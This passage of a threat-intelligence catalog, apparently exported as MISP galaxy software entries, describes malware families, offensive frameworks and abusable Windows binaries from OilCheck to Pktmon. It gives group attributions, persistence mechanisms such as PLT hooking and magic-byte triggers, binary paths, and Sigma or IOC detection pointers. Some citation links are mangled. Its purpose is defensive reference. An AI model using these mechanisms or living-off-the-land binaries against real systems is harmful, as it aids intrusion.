We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "OilCheck" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

This is one of a series of malicious downloaders attributed to Iran-linked espionage actor OilRig, which were found to rely on legitimate cloud service providers for command and control purposes.^{[[ESET OilRig December 14 2023](/references/f96b74d5-ff75-47c6-a9a2-b2f43db351bc)]}

The tag is: *misp-galaxy:software="OilCheck (Deprecated)"*

Okrum

[Okrum](https://app.tidalcyber.com/software/f9bcf0a1-f287-44ec-8f53-6859d41e041c) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang]([ESET Okrum July 2019(https://app.tidalcyber.com/references/197163a8-1a38-4edd-ba73-f44e7a329f41)]</sup>

The tag is: *misp-galaxy:software="Okrum"*

OLDBAIT

[OLDBAIT](https://app.tidalcyber.com/software/479814e2-2656-4ea2-9e79-fcdb818f703e) is a credential harvester used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). ^{[[FireEye APT28](https://app.tidalcyber.com/references/c423b2b2-25a3-4a8d-b89a-83ab07c0cd20)]} ^{[[FireEye APT28 January 2017](https://app.tidalcyber.com/references/61d80b8f-5bdb-41e6-b59a-d2d996392873)]}

The tag is: *misp-galaxy:software="OLDBAIT"*

Olympic Destroyer

[Olympic Destroyer](https://app.tidalcyber.com/software/073b5288-11d6-4db0-9f2c-a1816847d15c) is malware that was used by [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://app.tidalcyber.com/software/073b5288-11d6-4db0-9f2c-a1816847d15c) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}^{[[US District Court Indictment GRU Unit 74455 October 2020](https://app.tidalcyber.com/references/77788d05-30ff-4308-82e6-d123a3c2fd80)]}

The tag is: *misp-galaxy:software="Olympic Destroyer"*

OneDriveStandaloneUpdater

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: OneDrive Standalone Updater

Author: Elliot Killick

Paths: * %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe

Resources: * https://github.com/LOLBAS-Project/LOLBAS/pull/153

Detection: * IOC: HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig\UpdateRingSettingURLFromOC being set to a suspicious non-Microsoft controlled URL * IOC: Reports of downloading from suspicious URLs in %localappdata%\OneDrive\setup\logs\StandaloneUpdate_*.log files * Sigma: [registry_set_lolbin_onedrivestandaloneupdater.yml]([OneDriveStandaloneUpdater.exe - LOLBAS Project(/references/3d7dcd68-a7b2-438c-95bb-b7523a39c6f7)]</sup>

The tag is: *misp-galaxy:software="OneDriveStandaloneUpdater"*

OnionDuke

[OnionDuke](https://app.tidalcyber.com/software/6056bf36-fb45-498d-a285-5f98ae08b090) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2013 to 2015. ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="OnionDuke"*

OopsIE

[OopsIE](https://app.tidalcyber.com/software/4f1894d4-d085-4348-af50-dfda257a9e18) is a Trojan used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) to remotely execute commands as well as upload/download files to/from victims. ^{[[Unit 42 OopsIE! Feb 2018](https://app.tidalcyber.com/references/d4c2bac0-e95c-46af-ae52-c93de3d92f19)]}

The tag is: *misp-galaxy:software="OopsIE"*

OpenConsole

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Console Window host for Windows Terminal

Author: Nasreddine Bencherchali

Paths: * C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\CommonExtensions\Microsoft\Terminal\ServiceHub\os64\OpenConsole.exe * C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\CommonExtensions\Microsoft\Terminal\ServiceHub\os86\OpenConsole.exe * C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\Terminal\ServiceHub\os64\OpenConsole.exe

Resources: * https://twitter.com/nas_bench/status/1537563834478645252

Detection: * IOC: OpenConsole.exe spawning unexpected processes * Sigma: [proc_creation_win_lolbin_openconsole.yml]([OpenConsole.exe - LOLBAS Project(/references/e597522a-68ac-4d7e-80c4-db1c66d2da04)]</sup>

The tag is: *misp-galaxy:software="OpenConsole"*

OpenSSH

OpenSSH is a publicly available tool for traffic encryption and remote login using the Secure Shell ("SSH") protocol. According to its project website, it also "provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options".^{[[OpenSSH Project Page](/references/e5ca6811-cd22-4be5-a751-d23fb99d206e)]}

The tag is: *misp-galaxy:software="OpenSSH"*

Orz

[Orz](https://app.tidalcyber.com/software/45a52a29-00c0-458a-b705-1040e06a43f2) is a custom JavaScript backdoor used by [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. ^{[[Proofpoint Leviathan Oct 2017](https://app.tidalcyber.com/references/f8c2b67b-c097-4b48-8d95-266a45b7dd4d)]} ^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}

The tag is: *misp-galaxy:software="Orz"*

OSInfo

[OSInfo](https://app.tidalcyber.com/software/fa1e13b8-2fb7-42e8-b630-25f0edfbca65) is a custom tool used by [APT3](https://app.tidalcyber.com/groups/9da726e6-af02-49b8-8ebe-7ea4235513c9) to

do internal discovery on a victim's computer and network. ^{[[Symantec Buckeye](https://app.tidalcyber.com/references/dbf3ce3e-bcf2-4e47-ad42-839e51967395)]}

The tag is: *misp-galaxy:software="OSInfo"*

OSX_OCEANLOTUS.D

[OSX_OCEANLOTUS.D](https://app.tidalcyber.com/software/a45904b5-0ada-4567-be4c-947146c7f574) is a macOS backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). First discovered in 2015, [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://app.tidalcyber.com/software/a45904b5-0ada-4567-be4c-947146c7f574) can also determine it's permission level and execute according to access type (`root` or `user`).^{[[Unit42 OceanLotus 2017](https://app.tidalcyber.com/references/fcaf57f1-6696-54a5-a78c-255c8f6ac235)]}^{[[TrendMicro MacOS April 2018](https://app.tidalcyber.com/references/e18ad1a7-1e7e-4aca-be9b-9ee12b41c147)]}^{[[Trend Micro MacOS Backdoor November 2020](https://app.tidalcyber.com/references/43726cb8-a169-4594-9323-fad65b9bae97)]}

The tag is: *misp-galaxy:software="OSX_OCEANLOTUS.D"*

OSX/Shlayer

[OSX/Shlayer](https://app.tidalcyber.com/software/4d91d625-21d8-484a-b63f-0a3daa4ed434) is a Trojan designed to install adware on macOS that was first discovered in 2018.^{[[Carbon Black Shlayer Feb 2019](https://app.tidalcyber.com/references/d8212691-4a6e-49bf-bc33-740850a1189a)]}^{[[Intego Shlayer Feb 2018](https://app.tidalcyber.com/references/46eb883c-e203-4cd9-8f1c-c6ea12bc2742)]}

The tag is: *misp-galaxy:software="OSX/Shlayer"*

OtterCookie

A malware used by North Korea state-sponsored Famous Chollima actors, capable of file grabbing, uploading to C2 servers, and stealing credentials from browsers like Google Chrome and Brave.^{[[NTT Security Holdings May 8 2025](/references/e42d25ec-c31d-41e4-8d86-d46a7bccd0c8)]}

The tag is: *misp-galaxy:software="OtterCookie"*

Out1

[Out1](https://app.tidalcyber.com/software/273b1e8d-a23d-4c22-8493-80f3d6639352) is a remote access tool written in python and used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) since at least 2021.^{[[Trend Micro Muddy Water March 2021](https://app.tidalcyber.com/references/16b4b834-2f44-4bac-b810-f92080c41f09)]}

The tag is: *misp-galaxy:software="Out1"*

OutSteel

[OutSteel](https://app.tidalcyber.com/software/042fe42b-f60e-45e1-b47d-a913e0677976) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973) since at least March 2021.^{[[Palo Alto Unit 42 OutSteel SaintBot February 2022](https://app.tidalcyber.com/references/b0632490-76be-4018-982d-4b73b3d13881)]}

The tag is: *misp-galaxy:software="OutSteel"*

OwaAuth

[OwaAuth](https://app.tidalcyber.com/software/6d8a8510-e6f1-49a7-b3a5-bd4664937147) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5). ^{[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-5a92f05bebae)]}

The tag is: *misp-galaxy:software="OwaAuth"*

P2P ZeuS

[P2P ZeuS](https://app.tidalcyber.com/software/916f8a7c-e487-4446-b6ee-c8da712a9569) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. ^{[[Dell P2P ZeuS](https://app.tidalcyber.com/references/773d1d91-a93c-4bb3-928b-4c3f82f2c889)]}

The tag is: *misp-galaxy:software="P2P ZeuS"*

P8RAT

[P8RAT](https://app.tidalcyber.com/software/1933ad3d-3085-4b1b-82b9-ac51b440e2bf) is a fileless malware used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) to download and execute payloads since at least 2020.^{[[Securelist APT10 March 2021](https://app.tidalcyber.com/references/90450a1e-59c3-491f-b842-2cf81023fc9e)]}

The tag is: *misp-galaxy:software="P8RAT"*

PACEMAKER

[PACEMAKER](https://app.tidalcyber.com/software/13856c51-d81c-5d75-bb6a-0bbdcc857cdd) is a credential stealer that was used by [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) as early as 2020 including activity against US Defense Industrial Base (DIB) companies.^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}

The tag is: *misp-galaxy:software="PACEMAKER"*

Pacu

Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.^{[[GitHub Pacu](https://app.tidalcyber.com/references/bda43b1b-ea8d-4371-9984-6d8a7cc24965)]}

The tag is: *misp-galaxy:software="Pacu"*

Pandora

[Pandora](https://app.tidalcyber.com/software/320b0784-4f0f-46ea-99e9-c34bfcca1c2e) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) since at least 2020.^{[[Trend Micro Iron Tiger April 2021](https://app.tidalcyber.com/references/d0890d4f-e7ca-4280-a54e-d147f6dd72aa)]}

The tag is: *misp-galaxy:software="Pandora"*

Pasam

[Pasam](https://app.tidalcyber.com/software/3f018e73-d09b-4c8d-815b-8b2c8faf7055) is a trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Pasam May 2012](https://app.tidalcyber.com/references/c8135017-43c5-4bde-946e-141684c29b7a)]}

The tag is: *misp-galaxy:software="Pasam"*

Pass-The-Hash Toolkit

[Pass-The-Hash Toolkit](https://app.tidalcyber.com/software/8d007d52-8898-494c-8d72-354abd93da1e) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="Pass-The-Hash Toolkit"*

PasswordFox

PasswordFox is a tool used to recover passwords from Firefox web browser.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="PasswordFox"*

P.A.S. Webshell

[P.A.S. Webshell](https://app.tidalcyber.com/software/4d79530c-2fd9-4438-a8da-74f42119695a) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.^{[[ANSSI Sandworm January 2021](https://app.tidalcyber.com/references/5e619fef-180a-46d4-8bf5-998860b5ad7e)]}

The tag is: *misp-galaxy:software="P.A.S. Webshell"*

Pay2Key

[Pay2Key](https://app.tidalcyber.com/software/9aa21e50-726e-4002-8b7b-75697a03eb2b) is a ransomware written in C++ that has been used by [Fox Kitten](https://app.tidalcyber.com/groups/7094468a-2310-48b5-ad24-e669152bd66d) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://app.tidalcyber.com/software/9aa21e50-726e-4002-8b7b-75697a03eb2b) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.^{[[ClearkSky Fox Kitten February 2020](https://app.tidalcyber.com/references/a5ad6321-897a-4adc-9cdd-034a2538e3d6)]}^{[[Check Point Pay2Key November 2020](https://app.tidalcyber.com/references/e4ea263d-f70e-4f9c-92a1-cb0e565a5ae9)]}

The tag is: *misp-galaxy:software="Pay2Key"*

Pcalua

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Program Compatibility Assistant

Author: Oddvar Moe

Paths: * C:\Windows\System32\pcalua.exe

Resources: * https://twitter.com/KyleHanslovan/status/912659279806640128

Detection: * Sigma: [proc_creation_win_lolbin_pcalua.yml]([Pcalua.exe - LOLBAS Project](/references/958064d4-7f9f-46a9-b475-93d6587ed770)]</sup>

The tag is: *misp-galaxy:software="Pcalua"*

Pcexter

[Pcexter](https://app.tidalcyber.com/software/873ede85-548b-5fc0-a29e-80bd5afc5bf4) is an uploader that has been used by [ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-

ba6e-ee658a985e1b) since at least 2023 to exfiltrate stolen files.^{[[Kaspersky ToddyCat Check Logs October 2023](https://app.tidalcyber.com/references/dbdaf320-eada-5bbb-95ab-aaa987ed7960)]}

The tag is: *misp-galaxy:software="Pcexter"*

PCHunter

PCHunter is a tool used to enable advanced task management, including for system processes and kernels.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="PCHunter"*

PcShare

[PcShare](https://app.tidalcyber.com/software/71eb2211-39aa-4b89-bd51-9dcabd363149) is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]}^{[[GitHub PcShare 2014](https://app.tidalcyber.com/references/f113559f-a6da-43bc-bc64-9ff7155b82bc)]}

The tag is: *misp-galaxy:software="PcShare"*

Pcwrun

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Program Compatibility Wizard

Author: Oddvar Moe

Paths: * C:\Windows\System32\pcwrun.exe

Resources: * https://twitter.com/pabraeken/status/991335019833708544 * https://twitter.com/nas_bench/status/1535663791362519040

Detection: * Sigma: [proc_creation_win_lolbin_pcwrun_follina.yml]([Pcwrun.exe - LOLBAS Project(/references/b5946ca4-1f1b-4cba-af2f-0b99d6fff8b0)]</sup>

The tag is: *misp-galaxy:software="Pcwrun"*

Pcwutl

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft HTML Viewer

Author: LOLBAS Team

Paths: * c:\windows\system32\pcwutl.dll * c:\windows\syswow64\pcwutl.dll

Resources: * https://twitter.com/harr0ey/status/989617817849876488 * https://windows10dll.nirsoft.net/pcwutl_dll.html

Detection: * Analysis: https://redcanary.com/threat-detection-report/techniques/rundll32/ * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Pcwutl.dll - LOLBAS Project(/references/1050758d-20da-4c4a-83d3-40aeff3db9ca)]</sup>

The tag is: *misp-galaxy:software="Pcwutl"*

PDQ Deploy

A legitimate remote access software tool used by adversaries to facilitate command and control activity and usually for additional purposes.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="PDQ Deploy"*

PDQ Inventory

A legitimate remote access software tool used by adversaries to facilitate command and control activity and usually for additional purposes.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="PDQ Inventory"*

PEAKLIGHT

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="PEAKLIGHT"*

PeaZip

An open-source file management and archiving utility.^{[[PeaZip Wikipedia](/references/82edf4be-2288-4828-bc63-14e2f3b82f71)]}

The tag is: *misp-galaxy:software="PeaZip"*

PebbleDash

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="PebbleDash"*

Peirates

[Peirates](https://app.tidalcyber.com/software/52a19c73-2454-4893-8f84-8d05c37a9472) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.^{[[Peirates GitHub](https://app.tidalcyber.com/references/a75cde8b-76e4-4dc3-b1d5-cf08479905e7)]}

The tag is: *misp-galaxy:software="Peirates"*

Penquin

[Penquin](https://app.tidalcyber.com/software/951fad62-f636-4c01-b924-bb0ce87f5b20) is a remote access trojan (RAT) with multiple versions used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) to target Linux systems since at least 2014.^{[[Kaspersky Turla Penquin December 2014](https://app.tidalcyber.com/references/957edb5c-b893-4968-9603-1a6b8577f3aa)]}^{[[Leonardo Turla Penquin May 2020](https://app.tidalcyber.com/references/09d8bb54-6fa5-4842-98aa-6e9656a19092)]}

The tag is: *misp-galaxy:software="Penquin"*

Peppy

[Peppy](https://app.tidalcyber.com/software/1f080577-c002-4b49-a342-fa70983c1d58) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson]([Proofpoint Operation Transparent Tribe March 2016(https://app.tidalcyber.com/references/8e39d0da-114f-4ae6-8130-ca1380077d6a)]</sup>

The tag is: *misp-galaxy:software="Peppy"*

Pester

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used as part of the Powershell pester

Author: Oddvar Moe

Paths: * c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat * c:\Program Files\WindowsPowerShell\Modules\Pester*\bin\Pester.bat

Resources: * https://twitter.com/Oddvarmoe/status/993383596244258816 * https://twitter.com/*st0pp3r*/status/1560072680887525378 * https://twitter.com/*st0pp3r*/status/1560072680887525378

Detection: * Sigma: [proc_creation_win_lolbin_pester_1.yml]([Pester.bat - LOLBAS Project(/references/93f281f6-6fcc-474a-b222-b303ea417a18)]</sup>

The tag is: *misp-galaxy:software="Pester"*

Phemedrone

Phemedrone is reportedly an "open-source" infostealer malware, written in C#, that is typically circulated via Telegram.^{[[SpyCloud Phemedrone September 6 2024](/references/f6612b6c-6bed-474f-9ff3-ae3024d099c2)]}

The tag is: *misp-galaxy:software="Phemedrone"*

Phobos Ransomware

This object represents a collection of MITRE ATT&CK® Techniques associated with Phobos ransomware binaries, as highlighted in sources such as joint Cybersecurity Advisory AA24-060A.^{[[U.S. CISA Phobos February 29 2024](/references/bd6f9bd3-22ec-42fc-9d85-fdc14dcfa55a)]}

The tag is: *misp-galaxy:software="Phobos Ransomware"*

PhonyC2

PhonyC2 is a command and control framework attributed to the MuddyWater group. Researchers believe the tool has existed since at least 2021 and has been regularly updated since that time. PhonyC2 is believed to have been used in a 2023 attack on an institute of technology in Israel, as well as in a MuddyWater campaign beginning in May 2023 that featured exploitation of a

vulnerability in PaperCut print management software (CVE-2023-27350).^{[[Deep Instinct PhonyC2 June 2023](/references/fd42ac0b-eae5-41bb-b56c-cb1c6d19857b)]}

The tag is: *misp-galaxy:software="PhonyC2"*

PHOREAL

[PHOREAL](https://app.tidalcyber.com/software/fd63cec1-9f72-4ed0-9926-2dbbb3d9cead) is a signature backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). ^{[[FireEye APT32 May 2017](https://app.tidalcyber.com/references/b72d017b-a70f-4003-b3d9-90d79aca812d)]}

The tag is: *misp-galaxy:software="PHOREAL"*

Pikabot

[Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) has some overlaps with [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d) is frequently used to deploy follow on tools such as [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6) or ransomware variants.^{[[Zscaler Pikabot 2023](https://app.tidalcyber.com/references/7d3785e3-52db-54ec-ad54-32a2ecdb451f)]}^{[[Elastic Pikabot 2024](https://app.tidalcyber.com/references/6c222f33-f588-513c-9149-4c2308e05319)]}^{[[Logpoint Pikabot 2024](https://app.tidalcyber.com/references/5136cc70-ba63-551c-aa7f-ab4c57980a1c)]}

The tag is: *misp-galaxy:software="Pikabot"*

Pillowmint

[Pillowmint](https://app.tidalcyber.com/software/db5d718b-1344-4aa2-8e6a-54e68d8adfb1) is a point-of-sale malware used by [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) designed to capture credit card information.^{[[Trustwave Pillowmint June 2020](https://app.tidalcyber.com/references/31bf381d-a0fc-4a4f-8d39-832480891685)]}

The tag is: *misp-galaxy:software="Pillowmint"*

PinchDuke

[PinchDuke](https://app.tidalcyber.com/software/ba2208c8-5e1e-46cd-bef1-ffa7a2be3be4) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2008 to 2010. <sup>[[F-Secure The Dukes](https://app.tidalcyber.com/

references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]</sup>

The tag is: *misp-galaxy:software="PinchDuke"*

Ping

[Ping](https://app.tidalcyber.com/software/4ea12106-c0a1-4546-bb64-a1675d9f5dc7) is an operating system utility commonly used to troubleshoot and verify network connections. ^{[[TechNet Ping](https://app.tidalcyber.com/references/5afc8ad5-f50d-464f-ba84-e347b3f3e994)]}

The tag is: *misp-galaxy:software="Ping"*

PingCastle

PingCastle is a tool that can be used to enumerate Active Directory and map trust relationships. BianLian Ransomware Group actors have used the tool for discovery purposes during attacks.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="PingCastle"*

PingPull

[PingPull](https://app.tidalcyber.com/software/4360cc62-7263-48b2-bd2a-a7737563545c) is a remote access Trojan (RAT) written in Visual C++ that has been used by [GALLIUM](https://app.tidalcyber.com/groups/15ff1ce0-44f0-4f1d-a4ef-83444570e572) since at least June 2022. [PingPull](https://app.tidalcyber.com/software/4360cc62-7263-48b2-bd2a-a7737563545c) has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.^{[[Unit 42 PingPull Jun 2022](https://app.tidalcyber.com/references/ac6491ab-6ef1-4091-8a15-50e2cbafe157)]}

The tag is: *misp-galaxy:software="PingPull"*

PipeMon

[PipeMon](https://app.tidalcyber.com/software/92744f7b-9f1a-472c-bae0-2d4a7ce68bb4) is a multi-stage modular backdoor used by [Winnti Group]([ESET PipeMon May 2020 (https://app.tidalcyber.com/references/cbc09411-be18-4241-be69-b718a741ed8c)]</sup>

The tag is: *misp-galaxy:software="PipeMon"*

Pisloader

[Pisloader](https://app.tidalcyber.com/software/14e65c5d-5164-41a3-92de-67fdd1d529d2) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://app.tidalcyber.com/groups/a0c31021-b281-4c41-

9855-436768299fe7) and is similar to another malware family, [HTTPBrowser](https://app.tidalcyber.com/software/c4fe23f7-f18c-40f6-b431-0b104b497eaa), that has been used by the group. ^{[[Palo Alto DNS Requests](https://app.tidalcyber.com/references/4a946c3f-ee0a-4649-8104-2bd9d90ebd49)]}

The tag is: *misp-galaxy:software="Pisloader"*

PitDog

PitDog is a malicious SparkGateway plugin employing Kubo Injector to insert a shared object into web process memory, enabling persistent execution of a backdoor. It is activated during RDP connection negotiation, triggered by the Handshake plugin invocation. The getHandshakePlugin() method initiates a new thread from a Runnable interface, which iteratively calls SparkPlugin.watchdog() every ten (10) seconds. This approach ensures the continuous operation of the malicious watchdog method without disrupting the primary functionality of the SparkGateway application, serving as a persistence mechanism.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="PitDog"*

PitFuel

PitFuel is a SparkGateway plugin that loads the shared object libchilkat.so (LITTLELAMB.WOOLTEA) through the Java Native Interface (JNI) by calling System.load(). The shared object persistently deploys backdoors and contains capabilities to persist across system upgrade events, patches, and factory resets.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="PitFuel"*

PitHook

PitHook, linked to UNC5325, is a backdoor that intercepts the accept and accept4 functions in the web process by altering the PLT. Upon detecting a buffer matching a predetermined magic byte sequence, it duplicates the socket and initiates communication with the Unix domain socket /data/runtime/cockpit/wd.fd.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="PitHook"*

PitSock

PitSock, associated with UNC5325, is a backdoor that intercepts the accept and setsockopt functions of the web process by altering its procedure linkage table (PLT). Through this modification, it establishes communication via the Unix socket /tmp/clientsDownload.sock upon receiving a predefined 48-byte magic byte sequence in the incoming buffer.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="PitSock"*

PITSTOP

[PITSTOP](https://app.tidalcyber.com/software/c0e56f14-9768-5547-abcb-aa3f220d0e40) is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to enable command execution and file read/write.^{[[Mandiant Cutting Edge Part 3 February 2024](https://app.tidalcyber.com/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="PITSTOP"*

Pktmon

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Capture Network Packets on the windows 10 with October 2018 Update or later.

Author: Derek Johnson

Paths: * c:\windows\system32\pktmon.exe * c:\windows\syswow64\pktmon.exe

Resources: * https://binar-x79.com/windows-10-secret-sniffer/

Detection: * Sigma: [proc_creation_win_lolbin_pktmon.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml) * IOC: .etl files found on system^{[[Pktmon.exe - LOLBAS Project](/references/8f0ad4ed-869b-4332-b091-7551262cff29)]}

The tag is: *misp-galaxy:software="Pktmon"*

PLAINTEE

